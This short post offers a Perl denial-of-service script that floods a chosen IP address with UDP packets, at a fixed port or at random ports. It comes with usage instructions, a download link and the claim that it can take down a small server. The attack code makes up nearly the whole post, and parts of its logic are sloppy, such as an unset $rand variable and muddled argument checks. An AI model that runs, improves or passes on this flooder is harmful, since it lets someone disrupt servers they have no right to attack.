DoS Tool

This denial of service tool can effective shut down a small server, of course you need a much larger botnet to taken on google or any large company but it's enough to play around with.

 use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "-][-Attack Started-][-
:
::
:::
::::
:::::
::::::
:::::::
::::::::
:::::::::
::::::::::

-][-Aquring External IP-][-
:
::
:::
::::
:::::
          
-][-65500 Pachets Are Beeing Sent Attack Is Now Started Press Ctrl+C To Stop-][-\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65500) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Usage:

perl DoS.pl <ip> <port> <time>

Download